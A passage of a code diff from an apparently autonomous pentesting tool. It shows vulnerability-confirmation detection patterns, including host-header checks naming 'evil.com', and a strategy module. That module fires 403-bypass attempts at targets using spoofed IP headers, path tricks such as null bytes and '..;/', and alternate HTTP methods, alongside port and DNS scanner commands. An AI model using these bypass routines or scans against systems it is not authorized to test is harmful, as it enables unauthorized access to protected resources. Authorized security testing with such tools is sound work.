csv_prefixes = ["=CMD", "=HYPERLINK", "+CMD", "-CMD", "@SUM"]
|
||||
content_type = test_headers.get("Content-Type", test_headers.get("content-type", ""))
|
||||
if "csv" in content_type.lower() or "spreadsheet" in content_type.lower():
|
||||
for prefix in csv_prefixes:
|
||||
if prefix in payload and prefix in test_body:
|
||||
return True, f"CSV injection: Formula '{prefix}' in CSV output"
|
||||
return False, None
|
||||
|
||||
# ---- GraphQL Injection ----
|
||||
if vuln_type == "graphql_injection":
|
||||
for pat in self._compiled_graphql_errors:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"GraphQL error: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- ORM Injection ----
|
||||
if vuln_type == "orm_injection":
|
||||
orm_errors = [
|
||||
r"hibernate.*exception", r"sequelize.*error", r"typeorm.*error",
|
||||
r"ActiveRecord.*(?:Statement)?Invalid", r"django\.db.*error",
|
||||
r"prisma.*error", r"sqlalchemy.*error",
|
||||
]
|
||||
for pat_str in orm_errors:
|
||||
if re.search(pat_str, test_body, re.IGNORECASE):
|
||||
return True, f"ORM error induced: {pat_str}"
|
||||
return False, None
|
||||
|
||||
# ---- Blind XSS ----
|
||||
if vuln_type == "blind_xss":
|
||||
# Blind XSS payloads typically use external callbacks
|
||||
# We can only detect if the payload was stored (reflected later)
|
||||
if payload.lower() in body_lower:
|
||||
if "src=" in payload.lower() or "onerror=" in payload.lower():
|
||||
# Require payload NOT already in baseline
|
||||
if baseline_lower and payload.lower() in baseline_lower:
|
||||
return False, None
|
||||
return True, "Blind XSS payload stored in response"
|
||||
return False, None
|
||||
|
||||
# ---- Mutation XSS ----
|
||||
if vuln_type == "mutation_xss":
|
||||
# mXSS exploits browser HTML parsing mutations
|
||||
mxss_markers = ["<svg", "<math", "<xmp", "<noembed", "<listing"]
|
||||
for marker in mxss_markers:
|
||||
if marker in payload.lower() and marker in body_lower:
|
||||
# Require element NOT already in baseline
|
||||
if baseline_lower and marker in baseline_lower:
|
||||
continue
|
||||
return True, f"Mutation XSS: Mutatable element {marker} reflected (not in baseline)"
|
||||
return False, None
|
||||
|
||||
# ---- RFI ----
|
||||
if vuln_type == "rfi":
|
||||
rfi_indicators = ["<?php", "<%", "#!/", "import os"]
|
||||
for indicator in rfi_indicators:
|
||||
if indicator.lower() in body_lower:
|
||||
return True, f"RFI: Remote file content marker: {indicator}"
|
||||
return False, None
|
||||
|
||||
# ---- File Upload ----
|
||||
if vuln_type == "file_upload":
|
||||
upload_success = [
|
||||
r"(?:file|upload).*(?:success|saved|stored|created)",
|
||||
r"(?:uploaded|saved) to.*(?:\/|\\)",
|
||||
]
|
||||
for pat_str in upload_success:
|
||||
if re.search(pat_str, body_lower):
|
||||
return True, f"File upload succeeded: {pat_str}"
|
||||
return False, None
|
||||
|
||||
# ---- Arbitrary File Read ----
|
||||
if vuln_type == "arbitrary_file_read":
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"Arbitrary file read: {marker}"
|
||||
return False, None
|
||||
|
||||
# ---- Arbitrary File Delete ----
|
||||
if vuln_type == "arbitrary_file_delete":
|
||||
delete_indicators = [
|
||||
r"(?:file|resource).*(?:deleted|removed|not found after)",
|
||||
r"successfully.*(?:deleted|removed)",
|
||||
]
|
||||
for pat_str in delete_indicators:
|
||||
if re.search(pat_str, body_lower):
|
||||
return True, f"File delete confirmed: {pat_str}"
|
||||
return False, None
|
||||
|
||||
# ---- Zip Slip ----
|
||||
if vuln_type == "zip_slip":
|
||||
zip_indicators = [
|
||||
r"extracted to.*/\.\./",
|
||||
r"path traversal.*(?:zip|archive)",
|
||||
]
|
||||
for pat_str in zip_indicators:
|
||||
if re.search(pat_str, body_lower):
|
||||
return True, f"Zip slip: {pat_str}"
|
||||
for marker in FILE_CONTENT_MARKERS:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"Zip slip - file overwrite evidence: {marker}"
|
||||
return False, None
|
||||
|
||||
# ---- JWT Manipulation ----
|
||||
if vuln_type == "jwt_manipulation":
|
||||
# Tampered JWT accepted — require auth markers NOT in baseline
|
||||
if test_status == 200 and ("alg" in payload.lower() or "none" in payload.lower()):
|
||||
jwt_auth_markers = ["authorized", "welcome", "admin"]
|
||||
for marker in jwt_auth_markers:
|
||||
if marker in body_lower:
|
||||
# If baseline also has this marker, it's normal behavior
|
||||
if baseline_lower and marker in baseline_lower:
|
||||
continue
|
||||
return True, f"JWT manipulation: Tampered token granted access ({marker} not in baseline)"
|
||||
return False, None
|
||||
|
||||
# ---- Prototype Pollution ----
|
||||
if vuln_type == "prototype_pollution":
|
||||
if "__proto__" in payload or "constructor" in payload:
|
||||
pollution_markers = ["polluted", "__proto__", "isAdmin", "true"]
|
||||
match_count = sum(1 for m in pollution_markers if m.lower() in body_lower)
|
||||
if match_count >= 2:
|
||||
return True, "Prototype pollution: Injected properties reflected"
|
||||
return False, None
|
||||
|
||||
# ---- Host Header Injection ----
|
||||
if vuln_type == "host_header_injection":
|
||||
# Check if injected host is reflected in response
|
||||
evil_hosts = ["evil.com", "attacker.com", "injected.host"]
|
||||
for host in evil_hosts:
|
||||
if host in payload and host in body_lower:
|
||||
return True, f"Host header injection: {host} reflected in response"
|
||||
# Password reset poisoning
|
||||
if "evil.com" in payload:
|
||||
if "reset" in body_lower or "password" in body_lower:
|
||||
if "evil.com" in body_lower:
|
||||
return True, "Host header injection: Evil host in password reset link"
|
||||
return False, None
|
||||
|
||||
# ---- HTTP Smuggling ----
|
||||
if vuln_type == "http_smuggling":
|
||||
smuggling_indicators = [
|
||||
test_status == 400 and "transfer-encoding" in payload.lower(),
|
||||
"unrecognized transfer-coding" in body_lower,
|
||||
"request smuggling" in body_lower,
|
||||
]
|
||||
if any(smuggling_indicators):
|
||||
return True, "HTTP smuggling: Desync indicators detected"
|
||||
return False, None
|
||||
|
||||
# ---- Cache Poisoning ----
|
||||
if vuln_type == "cache_poisoning":
|
||||
# Check if injected value appears in cached response
|
||||
cache_headers = ["X-Cache", "CF-Cache-Status", "Age", "X-Cache-Hit"]
|
||||
is_cached = any(
|
||||
test_headers.get(h, test_headers.get(h.lower(), ""))
|
||||
for h in cache_headers
|
||||
)
|
||||
if is_cached and payload.lower() in body_lower:
|
||||
return True, "Cache poisoning: Payload reflected in cached response"
|
||||
return False, None
|
||||
|
||||
# ---- Insecure Deserialization ----
|
||||
if vuln_type == "insecure_deserialization":
|
||||
for pat in self._compiled_deser_errors:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"Deserialization error: {m.group()}"
|
||||
# Check for command execution via deser
|
||||
for pat in self._compiled_cmd_markers:
|
||||
m = pat.search(test_body)
|
||||
if m:
|
||||
return True, f"Deserialization RCE: {m.group()}"
|
||||
return False, None
|
||||
|
||||
# ---- Parameter Pollution ----
|
||||
if vuln_type == "parameter_pollution":
|
||||
# HPP only confirmed if response DIFFERS significantly from baseline
|
||||
if "&" in payload and baseline_body:
|
||||
len_diff = abs(len(test_body) - len(baseline_body))
|
||||
len_pct = (len_diff / max(len(baseline_body), 1)) * 100
|
||||
status_diff = test_status != baseline_status
|
||||
if len_pct > 20 or status_diff:
|
||||
return True, f"Parameter pollution: Response differs from baseline (delta {len_diff} chars, {len_pct:.0f}%)"
|
||||
return False, None
|
||||
|
||||
# ---- Type Juggling ----
|
||||
if vuln_type == "type_juggling":
|
||||
if test_status == 200:
|
||||
if "0" in payload or "true" in payload.lower() or "[]" in payload:
|
||||
auth_markers = ["authenticated", "authorized", "welcome", "admin", "success"]
|
||||
for marker in auth_markers:
|
||||
if marker in body_lower:
|
||||
# Require marker NOT in baseline — otherwise it's normal behavior
|
||||
if baseline_lower and marker in baseline_lower:
|
||||
continue
|
||||
return True, f"Type juggling: Auth bypass ({marker} appears only with juggled type)"
|
||||
return False, None
|
||||
|
||||
# ---- SOAP Injection ----
|
||||
if vuln_type == "soap_injection":
|
||||
soap_errors = [
|
||||
r"soap.*(?:fault|error|exception)",
|
||||
r"xml.*(?:parse|syntax).*error",
|
||||
r"<faultcode>",
|
||||
r"<faultstring>",
|
||||
]
|
||||
for pat_str in soap_errors:
|
||||
if re.search(pat_str, body_lower):
|
||||
return True, f"SOAP injection: {pat_str}"
|
||||
return False, None
|
||||
|
||||
# ---- Subdomain Takeover ----
|
||||
if vuln_type == "subdomain_takeover":
|
||||
takeover_markers = [
|
||||
"there isn't a github pages site here",
|
||||
"herokucdn.com/error-pages",
|
||||
"the request could not be satisfied",
|
||||
"no such app",
|
||||
"project not found",
|
||||
"this page is parked free",
|
||||
"does not exist in the app platform",
|
||||
"NoSuchBucket",
|
||||
]
|
||||
for marker in takeover_markers:
|
||||
if marker.lower() in body_lower:
|
||||
return True, f"Subdomain takeover: {marker}"
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Multi-signal verification (core method)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def multi_signal_verify(
|
||||
self,
|
||||
vuln_type: str,
|
||||
payload: str,
|
||||
test_response: dict,
|
||||
baseline: Optional[dict],
|
||||
tester_result: Tuple[bool, float, Optional[str]],
|
||||
) -> Tuple[bool, str, int]:
|
||||
"""
|
||||
Combine 4 signals to determine if a vulnerability is confirmed.
|
||||
|
||||
Args:
|
||||
vuln_type: Vulnerability type (registry key or legacy name)
|
||||
payload: The payload used
|
||||
test_response: The HTTP response from the payload test
|
||||
baseline: Cached baseline response (can be None)
|
||||
tester_result: (is_vuln, confidence, evidence) from VulnEngine tester
|
||||
|
||||
Returns:
|
||||
(is_confirmed, evidence_summary, signal_count)
|
||||
"""
|
||||
signals: List[str] = []
|
||||
evidence_parts: List[str] = []
|
||||
max_confidence = 0.0
|
||||
|
||||
test_body = test_response.get("body", "")
|
||||
test_status = test_response.get("status", 0)
|
||||
test_headers = test_response.get("headers", {})
|
||||
|
||||
# --- Signal 1: VulnEngine tester pattern match ---
|
||||
tester_vuln, tester_conf, tester_evidence = tester_result
|
||||
if tester_vuln and tester_conf >= 0.7:
|
||||
signals.append("tester_match")
|
||||
evidence_parts.append(tester_evidence or "Pattern match")
|
||||
max_confidence = max(max_confidence, tester_conf)
|
||||
|
||||
# --- Signal 2: Baseline diff ---
|
||||
if baseline:
|
||||
diff = self.compute_response_diff(baseline, test_response)
|
||||
|
||||
# Type-specific diff thresholds
|
||||
significant_diff = False
|
||||
if vuln_type in ("sqli", "sqli_error", "sqli_blind"):
|
||||
significant_diff = diff["length_diff"] > 300 and diff["status_changed"]
|
||||
elif vuln_type in ("lfi", "path_traversal", "xxe"):
|
||||
significant_diff = diff["length_diff_pct"] > 50
|
||||
elif vuln_type in ("ssti", "command_injection", "rce"):
|
||||
significant_diff = diff["body_hash_changed"] and diff["length_diff"] > 100
|
||||
else:
|
||||
significant_diff = diff["status_changed"] and diff["length_diff"] > 500
|
||||
|
||||
if significant_diff:
|
||||
signals.append("baseline_diff")
|
||||
evidence_parts.append(
|
||||
f"Response diff: status {diff['baseline_status']}->{diff['test_status']}, "
|
||||
f"length delta {diff['length_diff']} ({diff['length_diff_pct']}%)"
|
||||
)
|
||||
|
||||
# New error patterns is an independent sub-signal
|
||||
if diff["new_error_patterns"]:
|
||||
signals.append("new_errors")
|
||||
evidence_parts.append(
|
||||
f"New error patterns: {', '.join(diff['new_error_patterns'][:3])}"
|
||||
)
|
||||
|
||||
# --- Signal 3: Payload effect ---
|
||||
baseline_body = baseline.get("body", "") if baseline else ""
|
||||
baseline_status = baseline.get("status", 0) if baseline else 0
|
||||
effect_found, effect_evidence = self._check_payload_effect(
|
||||
vuln_type, payload, test_body, test_status, test_headers,
|
||||
baseline_body=baseline_body, baseline_status=baseline_status
|
||||
)
|
||||
if effect_found:
|
||||
signals.append("payload_effect")
|
||||
evidence_parts.append(effect_evidence)
|
||||
|
||||
# --- Confidence rules ---
|
||||
signal_count = len(signals)
|
||||
evidence_summary = " | ".join(evidence_parts) if evidence_parts else ""
|
||||
|
||||
if signal_count >= 2:
|
||||
# 2+ signals → confirmed (skip AI)
|
||||
return True, evidence_summary, signal_count
|
||||
elif signal_count == 1 and max_confidence >= 0.8:
|
||||
# 1 signal + high confidence → confirmed
|
||||
return True, evidence_summary, signal_count
|
||||
elif signal_count == 1:
|
||||
# 1 signal + lower confidence → needs AI confirmation
|
||||
# Return False but with evidence so caller can decide to ask AI
|
||||
return False, evidence_summary, signal_count
|
||||
else:
|
||||
# 0 signals → rejected
|
||||
return False, "", 0
|
||||
@@ -0,0 +1,438 @@
|
||||
"""
|
||||
NeuroSploit v3 - Strategy Adapter
|
||||
|
||||
Mid-scan strategy adaptation: signal tracking, 403 bypass attempts,
|
||||
diminishing returns detection, endpoint health monitoring, and
|
||||
dynamic reprioritization for autonomous pentesting.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import time
|
||||
from dataclasses import dataclass, field
|
||||
from typing import Dict, List, Optional, Any, Callable
|
||||
from urllib.parse import urlparse
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
@dataclass
|
||||
class EndpointHealth:
|
||||
"""Health tracking for a single endpoint."""
|
||||
url: str
|
||||
total_tests: int = 0
|
||||
consecutive_failures: int = 0
|
||||
status_403_count: int = 0
|
||||
status_429_count: int = 0
|
||||
timeout_count: int = 0
|
||||
findings_count: int = 0
|
||||
is_dead: bool = False
|
||||
waf_detected: bool = False
|
||||
avg_response_time: float = 0.0
|
||||
_response_times: list = field(default_factory=list)
|
||||
tested_types: set = field(default_factory=set)
|
||||
last_test_time: float = 0.0
|
||||
|
||||
|
||||
@dataclass
|
||||
class VulnTypeStats:
|
||||
"""Tracking stats per vulnerability type."""
|
||||
vuln_type: str
|
||||
total_tests: int = 0
|
||||
confirmed_count: int = 0
|
||||
rejected_count: int = 0
|
||||
waf_block_count: int = 0
|
||||
success_rate: float = 0.0
|
||||
avg_confidence: float = 0.0
|
||||
_confidences: list = field(default_factory=list)
|
||||
|
||||
|
||||
class BypassTechniques:
|
||||
"""403 Forbidden bypass with 15+ techniques."""
|
||||
|
||||
HEADER_BYPASSES = [
|
||||
{"X-Original-URL": "{path}"},
|
||||
{"X-Rewrite-URL": "{path}"},
|
||||
{"X-Forwarded-For": "127.0.0.1"},
|
||||
{"X-Forwarded-Host": "localhost"},
|
||||
{"X-Custom-IP-Authorization": "127.0.0.1"},
|
||||
{"X-Real-IP": "127.0.0.1"},
|
||||
{"X-Originating-IP": "127.0.0.1"},
|
||||
{"X-Remote-IP": "127.0.0.1"},
|
||||
{"X-Client-IP": "127.0.0.1"},
|
||||
{"X-Host": "localhost"},
|
||||
]
|
||||
|
||||
PATH_BYPASSES = [
|
||||
"{path}/.", # /admin/.
|
||||
"{path}/./", # /admin/./
|
||||
"{path}..;/", # /admin..;/
|
||||
"/{path}//", # //admin//
|
||||
"{path}%20", # /admin%20
|
||||
"{path}%00", # /admin%00 (null byte)
|
||||
"{path}?", # /admin?
|
||||
"{path}???", # /admin???
|
||||
"{path}#", # /admin#
|
||||
"/%2e/{path_no_slash}", # /%2e/admin
|
||||
"/{path_no_slash};/", # /admin;/
|
||||
"/{path_no_slash}..;/", # /admin..;/
|
||||
"/{path_upper}", # /ADMIN
|
||||
]
|
||||
|
||||
METHOD_BYPASSES = ["OPTIONS", "PUT", "PATCH", "TRACE", "HEAD"]
|
||||
|
||||
@classmethod
|
||||
async def attempt_bypass(
|
||||
cls,
|
||||
request_engine,
|
||||
url: str,
|
||||
original_method: str = "GET",
|
||||
original_response: Optional[Dict] = None,
|
||||
) -> Optional[Dict]:
|
||||
"""Try bypass techniques on a 403'd URL.
|
||||
|
||||
Returns the first successful bypass response, or None.
|
||||
"""
|
||||
parsed = urlparse(url)
|
||||
path = parsed.path
|
||||
path_no_slash = path.lstrip("/")
|
||||
path_upper = path.upper()
|
||||
base_url = f"{parsed.scheme}://{parsed.netloc}"
|
||||
|
||||
# Phase 1: Header bypasses
|
||||
for header_set in cls.HEADER_BYPASSES:
|
||||
try:
|
||||
headers = {}
|
||||
for k, v in header_set.items():
|
||||
headers[k] = v.format(path=path)
|
||||
|
||||
result = await request_engine.request(
|
||||
url, method=original_method, headers=headers
|
||||
)
|
||||
if result and result.status not in (403, 401, 0):
|
||||
logger.info(f"403 bypass via header {list(header_set.keys())[0]}: {url}")
|
||||
return {
|
||||
"status": result.status,
|
||||
"body": result.body,
|
||||
"headers": result.headers,
|
||||
"bypass_method": f"header:{list(header_set.keys())[0]}",
|
||||
}
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
# Phase 2: Path bypasses
|
||||
for path_tmpl in cls.PATH_BYPASSES:
|
||||
try:
|
||||
new_path = path_tmpl.format(
|
||||
path=path, path_no_slash=path_no_slash, path_upper=path_upper
|
||||
)
|
||||
bypass_url = f"{base_url}{new_path}"
|
||||
if parsed.query:
|
||||
bypass_url += f"?{parsed.query}"
|
||||
|
||||
result = await request_engine.request(
|
||||
bypass_url, method=original_method
|
||||
)
|
||||
if result and result.status not in (403, 401, 404, 0):
|
||||
logger.info(f"403 bypass via path '{new_path}': {url}")
|
||||
return {
|
||||
"status": result.status,
|
||||
"body": result.body,
|
||||
"headers": result.headers,
|
||||
"bypass_method": f"path:{new_path}",
|
||||
}
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
# Phase 3: Method bypasses
|
||||
for method in cls.METHOD_BYPASSES:
|
||||
if method == original_method:
|
||||
continue
|
||||
try:
|
||||
result = await request_engine.request(url, method=method)
|
||||
if result and result.status not in (403, 401, 405, 0):
|
||||
logger.info(f"403 bypass via method {method}: {url}")
|
||||
return {
|
||||
"status": result.status,
|
||||
"body": result.body,
|
||||
"headers": result.headers,
|
||||
"bypass_method": f"method:{method}",
|
||||
}
|
||||
except Exception:
|
||||
continue
|
||||
|
||||
return None
|
||||
|
||||
|
||||
class StrategyAdapter:
|
||||
"""Mid-scan strategy adaptation engine.
|
||||
|
||||
Monitors endpoint health, vuln type success rates, and global signals
|
||||
to dynamically adjust testing strategy.
|
||||
|
||||
Features:
|
||||
- Dead endpoint detection (skip after N consecutive failures)
|
||||
- Hot endpoint promotion (more testing on productive endpoints)
|
||||
- 403 bypass (15+ techniques via BypassTechniques)
|
||||
- Diminishing returns (stop testing unproductive type+endpoint combos)
|
||||
- Dynamic rate limiting adjustment
|
||||
- Priority recomputation every N tests
|
||||
- Global statistics and reporting
|
||||
"""
|
||||
|
||||
DEAD_ENDPOINT_THRESHOLD = 3 # Consecutive failures before marking dead
|
||||
DIMINISHING_RETURNS_THRESHOLD = 10 # Max failed payloads before skipping type
|
||||
ADAPTATION_INTERVAL = 50 # Tests between priority recomputations
|
||||
MAX_403_BYPASS_PER_URL = 2 # Max bypass attempts per URL
|
||||
HOT_ENDPOINT_THRESHOLD = 2 # Findings to mark endpoint as "hot"
|
||||
|
||||
def __init__(self, memory=None):
|
||||
self.memory = memory
|
||||
self._endpoints: Dict[str, EndpointHealth] = {}
|
||||
self._vuln_stats: Dict[str, VulnTypeStats] = {}
|
||||
self._global_test_count = 0
|
||||
self._global_finding_count = 0
|
||||
self._last_adaptation_time = time.time()
|
||||
self._last_adaptation_count = 0
|
||||
self._403_bypass_attempts: Dict[str, int] = {} # url -> attempt count
|
||||
self._bypass_successes: List[Dict] = []
|
||||
self._hot_endpoints: set = set()
|
||||
self._rate_limit_detected = False
|
||||
self._global_delay = 0.1
|
||||
|
||||
def _get_endpoint(self, url: str) -> EndpointHealth:
|
||||
"""Get or create endpoint health tracker."""
|
||||
# Normalize URL (strip query params for grouping)
|
||||
parsed = urlparse(url)
|
||||
key = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
|
||||
if key not in self._endpoints:
|
||||
self._endpoints[key] = EndpointHealth(url=key)
|
||||
return self._endpoints[key]
|
||||
|
||||
def _get_vuln_stats(self, vuln_type: str) -> VulnTypeStats:
|
||||
"""Get or create vuln type stats tracker."""
|
||||
if vuln_type not in self._vuln_stats:
|
||||
self._vuln_stats[vuln_type] = VulnTypeStats(vuln_type=vuln_type)
|
||||
return self._vuln_stats[vuln_type]
|
||||
|
||||
def record_test_result(
|
||||
self,
|
||||
url: str,
|
||||
vuln_type: str,
|
||||
status: int,
|
||||
was_confirmed: bool,
|
||||
confidence: int = 0,
|
||||
duration: float = 0.0,
|
||||
error_type: str = "success",
|
||||
):
|
||||
"""Record the result of a vulnerability test.
|
||||
|
||||
Called after each test attempt to update all tracking state.
|
||||
"""
|
||||
ep = self._get_endpoint(url)
|
||||
vs = self._get_vuln_stats(vuln_type)
|
||||
self._global_test_count += 1
|
||||
|
||||
# Update endpoint health
|
||||
ep.total_tests += 1
|
||||
ep.last_test_time = time.time()
|
||||
ep.tested_types.add(vuln_type)
|
||||
|
||||
if duration > 0:
|
||||
ep._response_times.append(duration)
|
||||
if len(ep._response_times) > 30:
|
||||
ep._response_times = ep._response_times[-20:]
|
||||
ep.avg_response_time = sum(ep._response_times) / len(ep._response_times)
|
||||
|
||||
if status == 403:
|
||||
ep.status_403_count += 1
|
||||
elif status == 429:
|
||||
ep.status_429_count += 1
|
||||
self._rate_limit_detected = True
|
||||
elif error_type in ("timeout", "connection_error"):
|
||||
ep.timeout_count += 1
|
||||
|
||||
# Track consecutive failures
|
||||
if was_confirmed:
|
||||
ep.consecutive_failures = 0
|
||||
ep.findings_count += 1
|
||||
self._global_finding_count += 1
|
||||
if ep.findings_count >= self.HOT_ENDPOINT_THRESHOLD:
|
||||
self._hot_endpoints.add(ep.url)
|
||||
elif status in (0, 403, 429) or error_type != "success":
|
||||
ep.consecutive_failures += 1
|
||||
if ep.consecutive_failures >= self.DEAD_ENDPOINT_THRESHOLD:
|
||||
ep.is_dead = True
|
||||
logger.debug(f"Endpoint marked dead: {ep.url}")
|
||||
else:
|
||||
# Got a response but no finding -- not a consecutive failure
|
||||
ep.consecutive_failures = 0
|
||||
|
||||
# Update vuln type stats
|
||||
vs.total_tests += 1
|
||||
if was_confirmed:
|
||||
vs.confirmed_count += 1
|
||||
else:
|
||||
vs.rejected_count += 1
|
||||
if status == 403 and error_type == "waf_blocked":
|
||||
vs.waf_block_count += 1
|
||||
if confidence > 0:
|
||||
vs._confidences.append(confidence)
|
||||
if len(vs._confidences) > 50:
|
||||
vs._confidences = vs._confidences[-30:]
|
||||
vs.avg_confidence = sum(vs._confidences) / len(vs._confidences)
|
||||
vs.success_rate = vs.confirmed_count / vs.total_tests if vs.total_tests > 0 else 0
|
||||
|
||||
def should_test_endpoint(self, url: str) -> bool:
|
||||
"""Check if an endpoint should still be tested."""
|
||||
ep = self._get_endpoint(url)
|
||||
if ep.is_dead:
|
||||
return False
|
||||
return True
|
||||
|
||||
def should_test_type(self, vuln_type: str, url: str) -> bool:
|
||||
"""Check if a vuln type should be tested on an endpoint."""
|
||||
ep = self._get_endpoint(url)
|
||||
vs = self._get_vuln_stats(vuln_type)
|
||||
|
||||
# Skip if endpoint is dead
|
||||
if ep.is_dead:
|
||||
return False
|
||||
|
||||
# Skip if this type has 0% success after 15+ global tests AND waf blocks
|
||||
if vs.total_tests >= 15 and vs.success_rate == 0 and vs.waf_block_count > 5:
|
||||
logger.debug(f"Skipping {vuln_type}: 0% success + WAF blocks")
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def should_reduce_payloads(self, vuln_type: str, tested_count: int) -> bool:
|
||||
"""Check if we should stop testing payloads (diminishing returns)."""
|
||||
vs = self._get_vuln_stats(vuln_type)
|
||||
|
||||
# Allow more payloads for types with good success rate
|
||||
if vs.success_rate > 0.1:
|
||||
return tested_count >= self.DIMINISHING_RETURNS_THRESHOLD * 2
|
||||
|
||||
return tested_count >= self.DIMINISHING_RETURNS_THRESHOLD
|
||||
|
||||
def should_attempt_403_bypass(self, url: str) -> bool:
|
||||
"""Check if we should try 403 bypass for this URL."""
|
||||
ep = self._get_endpoint(url)
|
||||
attempts = self._403_bypass_attempts.get(ep.url, 0)
|
||||
return (
|
||||
ep.status_403_count >= 2
|
||||
and attempts < self.MAX_403_BYPASS_PER_URL
|
||||
)
|
||||
|
||||
async def try_bypass_403(self, request_engine, url: str, method: str = "GET") -> Optional[Dict]:
|
||||
"""Attempt 403 bypass with multiple techniques."""
|
||||
ep = self._get_endpoint(url)
|
||||
self._403_bypass_attempts[ep.url] = self._403_bypass_attempts.get(ep.url, 0) + 1
|
||||
|
||||
result = await BypassTechniques.attempt_bypass(
|
||||
request_engine, url, original_method=method
|
||||
)
|
||||
|
||||
if result:
|
||||
self._bypass_successes.append({
|
||||
"url": url,
|
||||
"method": result.get("bypass_method", "unknown"),
|
||||
"status": result.get("status", 0),
|
||||
})
|
||||
# Revive endpoint
|
||||
ep.is_dead = False
|
||||
ep.consecutive_failures = 0
|
||||
logger.info(f"403 bypass success: {url} via {result.get('bypass_method')}")
|
||||
|
||||
return result
|
||||
|
||||
def get_dynamic_delay(self) -> float:
|
||||
"""Get current recommended delay between requests."""
|
||||
if self._rate_limit_detected:
|
||||
return max(self._global_delay, 1.0)
|
||||
return self._global_delay
|
||||
|
||||
def should_recompute_priorities(self) -> bool:
|
||||
"""Check if it's time to recompute testing priorities."""
|
||||
tests_since = self._global_test_count - self._last_adaptation_count
|
||||
time_since = time.time() - self._last_adaptation_time
|
||||
return tests_since >= self.ADAPTATION_INTERVAL or time_since >= 120
|
||||
|
||||
def recompute_priorities(self, vuln_types: List[str]) -> List[str]:
|
||||
"""Recompute vuln type priority order based on observed results.
|
||||
|
||||
Promotes types with high success rates and deprioritizes failed types.
|
||||
Returns reordered list of vuln types.
|
||||
"""
|
||||
self._last_adaptation_count = self._global_test_count
|
||||
self._last_adaptation_time = time.time()
|
||||
|
||||
def type_score(vt):
|
||||
vs = self._get_vuln_stats(vt)
|
||||
if vs.total_tests == 0:
|
||||
return 0.5 # Untested -- medium priority
|
||||
# Weighted: success rate + bonus for confirmed findings
|
||||
score = vs.success_rate * 0.6
|
||||
if vs.confirmed_count > 0:
|
||||
score += 0.3
|
||||
# Penalty for WAF blocks
|
||||
if vs.waf_block_count > vs.total_tests * 0.5:
|
||||
score -= 0.2
|
||||
return score
|
||||
|
||||
scored = [(vt, type_score(vt)) for vt in vuln_types]
|
||||
scored.sort(key=lambda x: x[1], reverse=True)
|
||||
|
||||
reordered = [vt for vt, _ in scored]
|
||||
logger.debug(f"Priority recomputed: {reordered[:5]}")
|
||||
return reordered
|
||||
|
||||
def get_hot_endpoints(self) -> List[str]:
|
||||
"""Get endpoints that have yielded multiple findings."""
|
||||
return list(self._hot_endpoints)
|
||||
|
||||
def get_report_context(self) -> Dict:
|
||||
"""Get strategy stats for report generation."""
|
||||
dead_count = sum(1 for e in self._endpoints.values() if e.is_dead)
|
||||
hot_count = len(self._hot_endpoints)
|
||||
|
||||
top_types = sorted(
|
||||
self._vuln_stats.values(),
|
||||
key=lambda v: v.confirmed_count,
|
||||
reverse=True,
|
||||
)[:5]
|
||||
|
||||
return {
|
||||
"total_tests": self._global_test_count,
|
||||
"total_findings": self._global_finding_count,
|
||||
"endpoints_tested": len(self._endpoints),
|
||||
"endpoints_dead": dead_count,
|
||||
"endpoints_hot": hot_count,
|
||||
"rate_limiting_detected": self._rate_limit_detected,
|
||||
"bypass_successes": len(self._bypass_successes),
|
||||
"bypass_details": self._bypass_successes[:10],
|
||||
"top_vuln_types": [
|
||||
{
|
||||
"type": v.vuln_type,
|
||||
"tests": v.total_tests,
|
||||
"confirmed": v.confirmed_count,
|
||||
"rate": f"{v.success_rate:.1%}",
|
||||
}
|
||||
for v in top_types
|
||||
],
|
||||
"hot_endpoints": list(self._hot_endpoints)[:10],
|
||||
}
|
||||
|
||||
def get_endpoint_summary(self) -> Dict[str, Dict]:
|
||||
"""Get summary of all tracked endpoints."""
|
||||
return {
|
||||
url: {
|
||||
"tests": ep.total_tests,
|
||||
"findings": ep.findings_count,
|
||||
"dead": ep.is_dead,
|
||||
"403s": ep.status_403_count,
|
||||
"avg_response": round(ep.avg_response_time, 3),
|
||||
}
|
||||
for url, ep in self._endpoints.items()
|
||||
}
|
||||
@@ -135,6 +135,20 @@ class SecurityTool:
|
||||
"command": "dalfox url {target} -o /opt/output/dalfox.txt --silence",
|
||||
"output_file": "/opt/output/dalfox.txt",
|
||||
"parser": "parse_dalfox_output"
|
||||
},
|
||||
"naabu": {
|
||||
"name": "Naabu",
|
||||
"description": "Fast port scanner",
|
||||
"command": "naabu -host {host} -json -top-ports 1000 -silent -o /opt/output/naabu.json",
|
||||
"output_file": "/opt/output/naabu.json",
|
||||
"parser": "parse_naabu_output"
|
||||
},
|
||||
"dnsx": {
|
||||
"name": "DNSX",
|
||||
"description": "DNS toolkit",
|
||||
"command": "echo {domain} | dnsx -silent -a -aaaa -cname -mx -ns -txt -o /opt/output/dnsx.txt",
|
||||
"output_file": "/opt/output/dnsx.txt",
|
||||
"parser": "parse_dnsx_output"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -750,6 +764,56 @@ class DockerToolExecutor:
|
||||
|
||||
return findings
|
||||
|
||||
def parse_naabu_output(self, output: str, target: str) -> List[Dict]:
|
||||
"""Parse naabu JSON output"""
|
||||
findings = []
|
||||
ports = []
|
||||
|
||||
for line in output.split('\n'):
|
||||
if not line.strip():
|
||||
continue
|
||||
try:
|
||||
data = json.loads(line)
|
||||
host = data.get('host', data.get('ip', ''))
|
||||
port = data.get('port', 0)
|
||||
ports.append(str(port))
|
||||
except json.JSONDecodeError:
|
||||
# Text mode: host:port
|
||||
match = re.match(r'^(.+?):(\d+)$', line.strip())
|
||||
if match:
|
||||
ports.append(match.group(2))
|
||||
|
||||
if ports:
|
||||
findings.append({
|
||||
"title": f"Open Ports Found: {len(ports)}",
|
||||
"severity": "info",
